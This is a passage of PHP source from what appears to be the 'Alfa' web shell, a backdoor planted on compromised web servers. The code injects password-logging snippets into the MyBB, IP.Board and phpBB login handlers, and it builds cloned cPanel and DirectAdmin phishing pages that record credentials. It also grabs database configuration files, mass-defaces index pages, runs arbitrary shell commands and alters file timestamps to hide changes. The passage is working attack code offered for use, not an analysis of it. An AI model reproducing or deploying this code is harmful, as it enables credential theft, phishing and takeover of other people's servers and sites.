$find = '$loginhandler->complete_login();';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/member.php";
$evil_login = "\t".$code."\n\t".$find;
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(strstr($data_login, $find)){
$login_replace = str_replace($find,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackIPB($path,$saveto){
$code = '$Alfa_q = $this->DB->buildAndFetch(array(\'select\' => \'email\', \'from\' => \'members\', \'where\' => \'name="\'.$username.\'" OR email="\'.$email.\'"\'));$Alfa_file = "{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $_POST[\'ips_username\'].\' : \'.$_POST[\'ips_password\'].\' ( \'.$Alfa_q[\'email\'].\' )\'."\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
$find = 'unset( $member[\'plainPassword\'] );';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/admin/sources/handlers/han_login.php";
$evil_login = "\t".$find."\n\t".$code;
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(strstr($data_login, $find)){
$login_replace = str_replace($find,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackPHPBB($path,$saveto){
$code = '$Alfa_u = request_var(\'username\', \'\');$Alfa_p = request_var(\'password\', \'\');if($Alfa_u != \'\' AND $Alfa_p != \'\'){$Alfa_response = $auth->login($Alfa_u,$Alfa_p);if($Alfa_response[\'status\'] == LOGIN_SUCCESS){$Alfa_file ="{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $Alfa_u." : ".$Alfa_p. " ( ".$Alfa_response[\'user_row\'][\'user_email\']." )\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
$find = 'case \'login\':';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/ucp.php";
$evil_login = "\t".$find."\n\t".$code;
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(strstr($data_login, $find)){
$login_replace = str_replace($find,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackOutput($c=0,$p=''){echo($c==0?"<center><font color='green'>Success</font> --> path: $p</center>":'<center><font color="red">Error in inject code !</font></center>');}
function Alfa_StrSearcher($dir,$string,$ext,$e,$arr=array()){
if(@is_dir($dir)){
$files=@scandir($dir);
foreach($files as $key => $value){
$path=@realpath($dir. DIRECTORY_SEPARATOR .$value);
if(!@is_dir($path)){
if($ext!='*'){$f = basename($path);$f = explode('.',$f);$f = end($f);if($f!=$ext)continue;}
if($e=='str'){
$content = @file_get_contents($path);
if(strpos($content, $string) !== false){
echo str_replace('\\','/',$path) . "<br>";
}
}else{
if(strstr($value,$string)){
echo str_replace('\\','/',$path) . "<br>";
}
}
$results[] = $path;
}elseif($value != "." && $value != "..") {
Alfa_StrSearcher($path,$string,$ext,$e,$results);
$results[] = $path;
}}}}
function alfafakepage(){
alfahead();
AlfaNum(9,10);
echo '<div class=header><br>
<center><div class="txtfont_header">| Host Manager Fake page |</div></center><br><br><form onSubmit="g(\'fakepage\',null,this.clone_page.value,this.fake_root.value,\'>>\',this.logto.value,this.panel.value,this.inject_to.value,this.bind_on.value,this.count.value);return false;" method=\'post\'>
<div class="txtfont" style="position: relative;left: 50%;transform: translate(-50%);"><div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Panel: </span><select style="width:100px;" name="panel">';
$cm_array = array("cpanel"=>"Cpanel","directadmin"=>"DirectAdmin");
foreach($cm_array as $key=>$val)echo '<option value="'.$key.'">'.$val.'</option>';
echo("</select></div>");
echo '<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Clone page: </span><input size="50" type="text" name="clone_page" placeholder="eg: https://target.com:2083 | https://target.com:2222"></div>
<div style="margin-bottom:6px;"><span>Fake page root: </span><input size="50" type="text" name="fake_root" value="'.$_SERVER["DOCUMENT_ROOT"].'/fake_page_root/"></div>
<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Inject to: </span><input size="50" type="text" name="inject_to" value="'.$_SERVER["DOCUMENT_ROOT"].'/index.php"></div>
<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Bind on: </span><input size="50" type="text" name="bind_on" placeholder="eg: '.$_SERVER["DOCUMENT_ROOT"].'/wp-login.php"></div>
<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Log To: </span><input size="50" type="text" name="logto" value="'.$GLOBALS['cwd'].'logs.txt"></div>
<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Count of Invalid login: </span><input size="20" type="text" name="count" value="3" style="text-align:center;"></div>
<div style="text-align:center;"><input type="submit" name="btn" value=" "></div></div></form><br>';
$clone_page = $_POST['alfa1'];
$fake_root = $_POST['alfa2'];
$logto = $_POST['alfa4'];
$panel = $_POST['alfa5'];
$inject_to = $_POST['alfa6'];
$bind_on = $_POST['alfa7'];
$count = $_POST['alfa8'];
if(!empty($clone_page) && !empty($fake_root) && !empty($logto) && !empty($inject_to) && !empty($bind_on) && $_POST['alfa3'] == '>>'){
echo __pre();
$target = $clone_page;
$curl = new AlfaCURL();
$source_page = $curl->Send($target);
if(!empty($source_page)){
$matched_form = "";
if($panel == "cpanel"){
if(preg_match('#<form(.*)id="login_form"(.*)>#', $source_page, $match)){
$matched_form = $match[0];
}
}else{
if(preg_match('#<form(.*?)>#', $source_page, $match)){
$matched_form = $match[0];
}
}
if(!empty($matched_form)){
$fake = "";
$pwd = str_replace($_SERVER["DOCUMENT_ROOT"], '', $fake_root);
$uri = str_replace($_SERVER["DOCUMENT_ROOT"], '', $inject_to);
if($panel == "cpanel"){
$port = "2083";
}else{
$target = str_replace(array("http://", "https://"), "", $target);
$port = explode(":",$target);
$port = $port[1];
}
if(substr($uri, 0, 1) == "/"){
$uri = substr($uri, 1);
}
$uri = $_SERVER["HTTP_ORIGIN"] . '/' . str_replace("index.php", "", $uri) . '?:' . $port;
$log_url = $_SERVER["HTTP_ORIGIN"] . $pwd . '/log.php';
if($panel == "cpanel"){
$form = '<form novalidate id="login_form" action="'.$log_url.'" method="post" target="_top" style="visibility:">';
}else{
$form = '<form action="'.$log_url.'" method="post">';
}
$fake = str_replace($matched_form, $form, $source_page);
if(@!is_dir($fake_root)){
@mkdir($fake_root, 0777, true);
}
$cookie_name = "alfa_fakepage_counter" . rand(9999,99999);
$post_user = 'user';
$post_pass = 'pass';
$resp_code = 'if(empty($user)){http_response_code(400);echo json_encode(array("message" => "no_username"));}else{http_response_code(401);}';
if($panel != "cpanel"){
$post_user = 'username';
$post_pass = 'password';
$resp_code = '@header("Location: ".$_SERVER[\'HTTP_REFERER\']);';
}
$cpanel_log = '<?php $cook_time = time()+(86400 * 7); $user = $_POST["'.$post_user.'"];$pass = $_POST["'.$post_pass.'"];if(!empty($user) && !empty($pass)){if(!isset($_COOKIE["'.$cookie_name.'"])){@setcookie("'.$cookie_name.'", 0, $cook_time, "/");$_COOKIE["'.$cookie_name.'"]=1;}if((int)$_COOKIE["'.$cookie_name.'"]>'.$count.'){@header("Location: /");exit;}@setcookie("'.$cookie_name.'", ((int)$_COOKIE["'.$cookie_name.'"] + 1), $cook_time, "/");$fp = @fopen("'.$logto.'", "a+");@fwrite($fp, $user . " : " . $pass . "\n");fclose($fp);sleep(3);'.$resp_code.'exit;}?>';
@file_put_contents($fake_root.'/log.php', $cpanel_log);
if($panel == "cpanel"){
$fake = preg_replace(array('#<link(.*)href="(.*)"(.*)>#', '#<img class="main-logo" src="(.*)"(.*)>#', '# <a(.*)id="reset_password">#'), array('<link href="'.$target.'/$2">', '<img class="main-logo" src="'.$target.'/$1" alt="logo" />', '<a href="#" id="reset_password">'), $fake);
}
@file_put_contents($fake_root.'/index.php', $fake);
$inject_code = '<?php if(isset($_GET[":2083"])&&(int)$_COOKIE["'.$cookie_name.'"]<'.$count.'){@include("'.$fake_root.'/index.php");exit;}?>';
$bind_on_code = '<?php if((int)$_COOKIE["'.$cookie_name.'"]<'.$count.'){@header("Location: '.$uri.'");exit;}?>';
@file_put_contents($inject_to, $inject_code . "\n" .@file_get_contents($inject_to));
@file_put_contents($bind_on, $bind_on_code . "\n" .@file_get_contents($bind_on));
echo "success...!";
}else{
echo "failed...!";
}
}else{
echo("<div style='text-align:center;color:red;'>Cannot open the target...!</div>");
}
}
echo '</div>';
alfafooter();
}
function alfaarchive_manager(){
alfahead();
$file = $_POST['alfa2'];
if(!file_exists($file)){
$file = $GLOBALS['cwd'];
}
$rand_id = rand(9999, 999999);
echo '<div class=header><center><p><div class="txtfont_header">| Archive Manager |</div></p>';
echo '<form name="srch" onSubmit="g(\'archive_manager\',null,null,this.file.value,null,null,\'>>\');return false;" method=\'post\'>
<div class="txtfont">
Archive file: <input size="50" id="target" type="text" name="file" value="'.$file.'">
<input type="submit" name="btn" value=" "></div></form></center><br>';
if($_POST['alfa5']=='>>'){
//echo __pre();
echo '<hr><div style="margin-left: 12px;" archive_full="phar://'.$file.'" archive_name="'.basename($file).'" id="archive_dir_'.$rand_id.'" class="archive_dir_holder"><span>PWD: </span><div class="archive_pwd_holder" style="display:inline-block"><a>/</a></div></div>';
echo '<div style="padding: 10px;" id="archive_base_'.$rand_id.'">';
__alfa_open_archive_file($file, $rand_id);
echo '</div>';
}
echo '</div>';
alfafooter();
}
function __alfa_open_archive_file($arch, $base_id=0){
try{
$files = array();
$dirs = array();
$archive = new PharData($arch);
foreach($archive as $file) {
$file_modify = @date('Y-m-d H:i:s', @filemtime($file->getPathname()));
if($file->isDir()) {
$dirs[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "dir", "modify" => $file_modify);
}else{
$file_size = @filesize($file->getPathname());
$files[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "file", "modify" => $file_modify, "size" => $file_size);
}
}
function __alfa_open_archive_usort($a, $b){
return strcmp(strtolower($a['name']), strtolower($b['name']))*1;
}
usort($dirs, "__alfa_open_archive_usort");
usort($files, "__alfa_open_archive_usort");
$files = array_merge($dirs, $files);
echo '<table width="100%" class="main" cellspacing="0" cellpadding="2"><tbody><tr><th>Name</th><th>Size</th><th>Modify</th><th>Actions</th></tr>';
$icon = '<img class="archive-icons" src="'.findicon('..','dir').'" width="30" height="30">';
echo '<tr><th><a base_id="'.$base_id.'" class="archive-file-row" fname=".." onclick="alfaOpenArchive(this);" path="'.dirname($arch.'.php').'">'.$icon.'<span class="archive-name archive-type-dir">| .. |</span></a><td>dir</td><td>-</td><td>-</td></tr>';
foreach($files as $file){
$icon = '<img class="archive-icons" src="'.findicon($file['name'],$file['type']).'" width="30" height="30">';
if($file["type"] == "dir"){
echo '<tr><th><a base_id="'.$base_id.'" class="archive-file-row" onclick="alfaOpenArchive(this);" path="'.$file["path"].'" fname="'.$file["name"].'">'.$icon.'<span class="archive-name archive-type-dir">| '.$file["name"].' |</span></a><td>dir</td><td>'.$file["modify"].'</td><td>-</td></tr>';
}else{
echo "<tr><th><a base_id='".$base_id."' class='archive-file-row' onclick=\"editor('".$file["path"]."','auto','','','','file');\">".$icon."<span class='archive-name archive-type-file' fname='".$file["name"]."'>".$file["name"]."</span></a><td>".alfaSize($file["size"])."</td><td>".$file["modify"]."</td><td>-</td></tr>";
}
}
echo '</table>';
}catch(Exception $e){
echo("0");
}
}
function alfaopen_archive_dir(){
$dir = $_POST["alfa1"];
$base_id = $_POST["alfa2"];
__alfa_open_archive_file($dir, $base_id);
}
function alfaconfig_grabber(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Config Grabber |</div></p>';
echo '<form name="srch" onSubmit="g(\'config_grabber\',null,null,this.dir.value,this.ext.value,null,\'>>\');return false;" method=\'post\'>
<div class="txtfont">
Dir: <input size="50" id="target" type="text" name="dir" value="'.$GLOBALS['cwd'].'">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
$dir = $_POST['alfa2'];
$ext = $_POST['alfa3'];
if($_POST['alfa5']=='>>'){
echo __pre();
Alfa_ConfigGrabber($dir, $ext);
}
echo '</div>';
alfafooter();
}
function Alfa_ConfigGrabber($dir, $ext) {
$pattern = "#define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,}|define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,}|config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\]|(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")|(?:'|\")(mysql|database)(?:'|\")[ ]{0,}=>[ ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new[ ]{0,}mysqli#i";
$db_files = array("wp-config.php","configure.php","config.inc.php","configuration.php","config.php","conf.php","dbclass.php","class_core.php","dist-configure.php", "settings.php", "conf_global.php", "db.php", "connect.php", "confing.db.php", "config.db.php", "database.php");
if(@is_readable($dir)){
$globFiles = @glob("$dir/*.$ext");
$globDirs = @glob("$dir/*", GLOB_ONLYDIR);
$blacklist = array();
foreach ($globDirs as $dir) {
if(!@is_readable($dir)||@is_link($dir)) continue;
@Alfa_ConfigGrabber($dir, $ext);
}
foreach ($globFiles as $file){
$filee = @file_get_contents($file);
if(preg_match($pattern, $filee)){
echo "<div><span>$file</span> <a style='cursor:pointer;' onclick=\"editor('".$file."','auto','','','','file');\">[ View file ]</a></div>";
}
}
}
}
function alfasearcher(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Searcher |</div></p><h3><a href=javascript:void(0) onclick="g(\'searcher\',null,\'file\')">| Find Readable Or Writable Files | </a><a href=javascript:void(0) onclick="g(\'searcher\',null,\'str\')">| Find Files By Name | </a></h3></center>';
if(isset($_POST['alfa1'])&&$_POST['alfa1']=='file'){
echo '<center><div class="txtfont_header">| Find Readable Or Writable Files |</div><br><br><form name="srch" onSubmit="g(\'searcher\',null,\'file\',this.filename.value,this.ext.value,this.method.value,\'>>\');return false;" method=\'post\'>
<div class="txtfont">
Method: <select style="width: 18%;" onclick="alfa_searcher_tool(this.value);" name="method"><option value="files">Find All Writable Files</option><option value="dirs">Find All Writable Dirs</option><option value="all">Find All Readable And Writable Files</option></select>
Dir: <input size="50" id="target" type="text" name="filename" value="'.$GLOBALS['cwd'].'">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
$dir = $_POST['alfa2'];
$ext = $_POST['alfa3'];
$method = $_POST['alfa4'];
if($_POST['alfa5']=='>>'){
echo __pre();
if(substr($dir,-1)=='/')$dir=substr($dir,0,-1);
Alfa_Searcher($dir,trim($ext),$method);
}
}
if($_POST['alfa1']=='str'){
echo '<center><div class="txtfont_header">| Find Files By Name / Find String In Files |</div><br><br><form onSubmit="g(\'searcher\',null,\'str\',this.dir.value,this.string.value,\'>>\',this.ext.value,this.method.value);return false;" method=\'post\'>
<div class="txtfont">
Method: <select name="method"><option value="name">Find Files By Name</option><option value="str">Find String In Files</option></select>
String: <input type="text" name="string" value="">
Dir: <input size="50" type="text" name="dir" value="'.$GLOBALS['cwd'].'">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
$dir = $_POST['alfa2'];
$string = $_POST['alfa3'];
$ext = $_POST['alfa5'];
if(!empty($string) AND !empty($dir) AND $_POST['alfa4'] == '>>'){
echo __pre();
Alfa_StrSearcher($dir,$string,$ext,$_POST['alfa6']);
}
}
echo '</div>';
alfafooter();
}
function alfaMassDefacer(){
alfahead();
AlfaNum(5,6,7,8,9,10);
echo "<div class=header><center><p><div class='txtfont_header'>| Mass Defacer |</div></p><form onSubmit=\"g('MassDefacer',null,this.massdir.value,this.defpage.value,this.method.value,'>>');return false;\" method='post'>";
echo '<div class="txtfont">Deface Method: <select name="method"><option value="index">Deface Index Dirs</option><option value="all">All Files</option></select>
Mass dir: <input size="50" id="target" type="text" name="massdir" value="'.htmlspecialchars($GLOBALS['cwd']).'">
DefPage: <input size="50" type="text" name="defpage" value="'.htmlspecialchars($GLOBALS['cwd']).'"></div> <input type="submit" name="btn" value=" "></center></p>
</form>';
$dir = $_POST['alfa1'];
$defpage = $_POST['alfa2'];
$method = $_POST['alfa3'];
$fCurrent = $GLOBALS['__file_path'];
if($_POST['alfa4'] == '>>'){
if(!empty($dir)){
if(@is_dir($dir)){
if(@is_readable($dir)){
if(@is_file($defpage)){
if($dh = @opendir($dir)){
echo __pre();
while (($file = @readdir($dh)) !== false){
if($file == '..' || $file == '.')continue;
$newfile=$dir.$file;
if($fCurrent == $newfile)continue;
if(@is_dir($newfile)){
Alfa_ReadDir($newfile,$method,$defpage);
}else{
if(!@is_writable($newfile))continue;
if(!@is_readable($newfile))continue;
Alfa_Rewriter($newfile,$file,$defpage,$method);
}
}
closedir($dh);
}else{__alert('<font color="red">Error In OpenDir...</font>');}
}else{__alert('<font color="red">DefPage File NotFound...</font>');}
}else{__alert('<font color="red">Directory is not Readable...</font>');}
}else{__alert('<font color="red">Mass Dir is Invalid Dir...</font>');}
}else{__alert('<font color="red">Dir is Empty...</font>');}
}
echo '</div>';
alfafooter();
}
function Alfa_ReadDir($dir,$method='',$defpage=''){
if(!@is_readable($dir)) return false;
if (@is_dir($dir)) {
if ($dh = @opendir($dir)) {
while(($file=readdir($dh))!==false) {
if($file == '..' || $file == '.')continue;
$newfile=$dir.'/'.$file;
if(@is_readable($newfile)&&@is_dir($newfile))Alfa_ReadDir($newfile,$method,$defpage);
if(@is_file($newfile)){
if(!@is_readable($newfile))continue;
Alfa_Rewriter($newfile,$file,$defpage,$method);
}
}
closedir($dh);
}
}
}
function Alfa_Rewriter($dir,$file,$defpage,$m='index'){
if(!@is_writable($dir)) return false;
if(!@is_readable($dir)) return false;
$defpage=@file_get_contents($defpage);
if($m == 'index'){
$indexs = array('index.php','index.htm','index.html','default.asp','default.aspx','index.asp','index.aspx','index.js');
if(in_array(strtolower($file),$indexs)){
@file_put_contents($dir,$defpage);
echo @is_file($dir)?$dir."<b><font color='red'>DeFaced...</b></font><br>" : '';
}
}elseif($m=='all'){
@file_put_contents($dir,$defpage);
echo @is_file($dir)?$dir." <b><font color='red'>DeFaced...</b></font><br>" : '';
}
}
function alfaGetDisFunc(){
alfahead();
echo '<div class="header">';
$disfun = @ini_get('disable_functions');
$s = explode(',',$disfun);
$f = array_unique($s);
echo '<center><br><b><font color="#7CFC00">Disable Functions</font></b><pre><table border="1"><tr><td align="center" style="background-color: green;color: white;width:5%">#</td><td align="center" style="background-color: green;color: white;">Func Name</td></tr>';
$i=1;
foreach($f as $s){
$s=trim($s);
if(function_exists($s)||!is_callable($s))continue;
echo '<tr><td align="center" style="background-color: black;">'.$i.'</td>';
echo '<td align="center" style="background-color: black;"><a style="text-decoration: none;" target="_blank" href="http://php.net/manual/en/function.'.str_replace('_','-',$s).'.php"><span class="disable_functions"><b>'.$s.'</b></span></a></td>';
$i++;
}
echo '</table></center>';
echo '</div>';
alfafooter();
}
function Alfa_Create_A_Tag($action,$vals){
$nulls = array();
foreach($vals as $key => $val){
echo '<a href=javascript:void(0) onclick="g(\''.$action.'\',';
for($i=1;$i<=$val[1]-1;$i++)$nulls[] = 'null';
$f = implode(',',$nulls);
echo $f.',\''.$val[0].'\');return false;">| '.$key.' | </a>';
unset($nulls);
}
}
function Alfa_Searcher($dir, $ext, $method) {
if(@is_readable($dir)){
if($method == 'all')$ext = '*';
if($method == 'dirs')$ext = '*';
$globFiles = @glob("$dir/*.$ext");
$globDirs = @glob("$dir/*", GLOB_ONLYDIR);
$blacklist = array();
foreach ($globDirs as $dir) {
if(!@is_readable($dir)||@is_link($dir)) continue;
@Alfa_Searcher($dir, $ext, $method);
}
switch($method){
case "files":
foreach ($globFiles as $file){
if(@is_writable($file)){
echo "$file<br>";
}
}
break;
case "dirs":
foreach ($globFiles as $file){
if(@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)){
echo dirname($file).'<br>';
$blacklist[] = dirname($file);
}
}
break;
case "all":
foreach ($globFiles as $file){
echo $file.'<br>';
}
break;
}
unset($blacklist);
}
}
function AlfaiFrameCreator($f,$width='100%',$height='600px'){
return('<iframe src="'.__ALFA_DATA_FOLDER__."/".$f.'" width="'.$width.'" height="'.$height.'" frameborder="0"></iframe>');
}
class AlfaCURL {
public $headers;
public $user_agent;
public $compression;
public $cookie_file;
public $proxy;
public $path;
public $ssl = true;
public $curl_status = true;
function __construct($cookies=false,$compression='gzip',$proxy=''){
if(!extension_loaded('curl')){$curl_status = false;return false;}
$this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg';
$this->headers[] = 'Connection: Keep-Alive';
$this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
$this->user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36)';
$this->path = ALFA_TEMPDIR.'/Alfa_cookies.txt';
$this->compression=$compression;
$this->proxy=$proxy;
$this->cookies=$cookies;
if($this->cookies)$this->cookie($this->path);
}
function cookie($cookie_file) {
if (_alfa_file_exists($cookie_file,false)) {
$this->cookie_file=$cookie_file;
}else{
@fopen($cookie_file,'w') or die($this->error('The cookie file could not be opened.'));
$this->cookie_file=$cookie_file;
@fclose($this->cookie_file);
}
}
function Send($url,$method="get",$data=""){
if(!$this->curl_status){return false;}
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if($this->ssl){
curl_setopt($process, CURLOPT_SSL_VERIFYPEER ,false);
curl_setopt($process, CURLOPT_SSL_VERIFYHOST,false);
}
if($this->cookies){
curl_setopt($process, CURLOPT_COOKIEFILE, $this->path);
curl_setopt($process, CURLOPT_COOKIEJAR, $this->path);
}
if($this->proxy){
curl_setopt($process, CURLOPT_PROXY, $this->proxy);
}
if($method=='post'){
curl_setopt($process, CURLOPT_POSTFIELDS, $data);
curl_setopt($process, CURLOPT_POST, 1);
curl_setopt($process, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
}
$return = @curl_exec($process);
curl_close($process);
return $return;
}
function error($error) {
echo "<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error</b><br>$error</div></center>";
die;
}
}
function getConfigHtml($cms){
$content = '';
$cms_array = array("wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke","phpbb"=>"PHPBB","mybb"=>"MyBB","drupal"=>"Drupal","smf"=>"SMF");
$content .= "<form class='getconfig' onSubmit='g(\"GetConfig\",null,this.cms.value,this.path.value,this.getAttribute(\"base_id\"));return false;'><div class='txtfont'>Cms: </div> <select name='cms'style='width:100px;'>";
foreach($cms_array as $key => $val){
$content .= "<option value='{$key}' ".($key==$cms?'selected=selected':'').">{$val}</option>";
}
$content .= "</select> <div class='txtfont'>Path(installed cms/Config): </div> <input type='text' name='path' value='".$_SERVER['DOCUMENT_ROOT']."/' size='30' /> <button class='button'>GetConfig</button>";
$content .= "</form>";
return $content;
}
if (!function_exists('json_encode')){
function json_encode($a=false){
if (is_null($a)) return 'null';
if ($a === false) return 'false';
if ($a === true) return 'true';
if (is_scalar($a))
{
if (is_float($a))
{
return floatval(str_replace(",", ".", strval($a)));
}
if (is_string($a))
{
static $jsonReplaces = array(array("\\", "/", "\n", "\t", "\r", "\b", "\f", '"'), array('\\\\', '\\/', '\\n', '\\t', '\\r', '\\b', '\\f', '\"'));
return '"' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . '"';
}
else
return $a;
}
$isList = true;
for ($i = 0, reset($a); $i < count($a); $i++, next($a))
{
if (key($a) !== $i)
{
$isList = false;
break;
}
}
$result = array();
if ($isList)
{
foreach ($a as $v) $result[] = json_encode($v);
return '[' . join(',', $result) . ']';
}
else
{
foreach ($a as $k => $v) $result[] = json_encode($k).':'.json_encode($v);
return '{' . join(',', $result) . '}';
}
}
}
if ( !function_exists('json_decode') ){
function json_decode($json, $array=true){
$comment = false;
$out = '$x=';
for ($i=0; $i<strlen($json); $i++)
{
if (!$comment)
{
if ($json[$i] == '{' || $json[$i] == '['){$out .= ' array(';}
else if ($json[$i] == '}' || $json[$i] == ']'){$out .= ')';}
else if ($json[$i] == ':'){$out .= '=>';}
else {$out .= $json[$i];}
}
else $out .= $json[$i];
if ($json[$i] == '"') $comment = !$comment;
}
eval($out . ';');
return $x;
}
}
function alfaterminalExec(){
$pwd = "pwd";
$seperator = ";";
if($GLOBALS['sys']!='unix'){
$pwd = "cd";
$seperator = "&";
}
if($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd '".addslashes($_POST["c"])."'".$seperator;}
$current_path = '';
if(preg_match("/cd[ ]{0,}(.*)[ ]{0,}".$seperator."|cd[ ]{0,}(.*)[ ]{0,}/i", $_POST['alfa1'], $match)){
if(empty($match[1])){
$match[1] = $match[2];
}
$current_path = alfaEx("cd ".addslashes($match[1]).$seperator.$pwd);
$current_path = str_replace("\\", "/", $current_path);
}
$out = alfaEx($cmd.$_POST['alfa1'], true);
$out = htmlspecialchars($out);
echo json_encode(array("output" => convertBash($out), "path" => $current_path));
}
function convertBash($code) {
$dictionary = array(
'[01;30m' => '<span style="color:black">',
'[01;31m' => '<span style="color:red">',
'[01;32m' => '<span style="color:green">',
'[01;33m' => '<span style="color:yellow">',
'[01;34m' => '<span style="color:blue">',
'[01;35m' => '<span style="color:purple">',
'[01;36m' => '<span style="color:cyan">',
'[01;37m' => '<span style="color:white">',
'[0m' => '</span>'
);
$htmlString = str_replace(array_keys($dictionary), $dictionary, $code);
return $htmlString;
}
function alfadoActions(){
$chdir_fals = false;
if(!@chdir($_POST['c'])){
$chdir_fals = true;
$alfa_canruncmd = _alfa_can_runCommand(true,true);
}
if(isset($_POST['alfa1']))$_POST['alfa1'] = rawurldecode($_POST['alfa1']);
if(isset($_POST['alfa2']))$_POST['alfa2'] = rawurldecode($_POST['alfa2']);
$action = $_POST["alfa3"];
if($action == "permission"){
$perms = 0;
$perm = $_POST["alfa2"];
for($i=strlen($perm)-1;$i>=0;--$i){
$perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1));
}
if(@chmod($_POST['alfa1'], $perms)){
echo("done");
}else{
echo("no");
}
return;
}
if($action == "rename" || $action == "move"){
$alfa1_decoded = $_POST['alfa1'];
if($chdir_fals){
$_POST['alfa1'] = $_POST["c"]."/".$_POST["alfa1"];
}
$_POST['alfa1'] = trim($_POST['alfa1']);
$alfa1_escape = addslashes($_POST["alfa1"]);
if($_POST["alfa3"] == "rename"){
$_POST['alfa2'] = basename($_POST['alfa2']);
}
if(!empty($_POST['alfa2'])){
$cmd_rename = false;
if($chdir_fals&&$alfa_canruncmd){
if(_alfa_is_writable($_POST['alfa1'])){
$cmd_rename = true;
$alfa1_escape = addslashes($alfa1_decoded);
alfaEx("cd '".addslashes($_POST['c'])."';mv '".$alfa1_escape."' '".addslashes($_POST['alfa2'])."'");
}
}
if(!file_exists($_POST['alfa2'])){
if(@rename($_POST['alfa1'], $_POST['alfa2'])||$cmd_rename){
echo "done";
}else{
echo "no";
}
}else{
echo "no";
}
}
}elseif($action == "copy"){
if(is_dir($_POST["alfa1"])){
$dir = str_replace('//', '/', $_POST["alfa1"]);
$dir = explode('/', $dir);
if(empty($dir[count($dir) - 1])){
$name = $dir[count($dir) - 2];
}else{
$name = $dir[count($dir) - 1];
}
}else{
$name = basename($_POST["alfa1"]);
}
$dir = dirname($_POST["alfa1"]);
if($dir == "."){
$dir = $_POST["c"]."/";
}
if(is_file($_POST["alfa1"])){
@copy($_POST["alfa1"], $_POST["alfa2"]);
echo("done");
}elseif(is_dir($_POST["alfa1"])){
if(!is_dir($_POST["alfa2"])){
mkdir($_POST["alfa2"], 0755, true);
}
copy_paste($dir, $name , $_POST["alfa2"] . "/");
echo("done");
}
}elseif($action == "modify"){
if( !empty($_POST['alfa1']) ) {
$time = strtotime($_POST['alfa1']);
if($time){
$touched = false;
if($chdir_fals&&$alfa_canruncmd){
alfaEx("cd '".addslashes($_POST["c"])."';touch -d '".htmlspecialchars(addslashes($_POST['alfa1']))."' '".addslashes($_POST['alfa2'])."'");
$touched = true;
}
if(!@touch($_POST['alfa2'],$time,$time)&&!$touched){
echo 'no';
}else{
echo 'ok';
}
} else{
echo 'badtime';
}
}
}
}
function alfaget_flags(){
$flags = array();
if(function_exists("curl_version")){
$curl = new AlfaCURL();
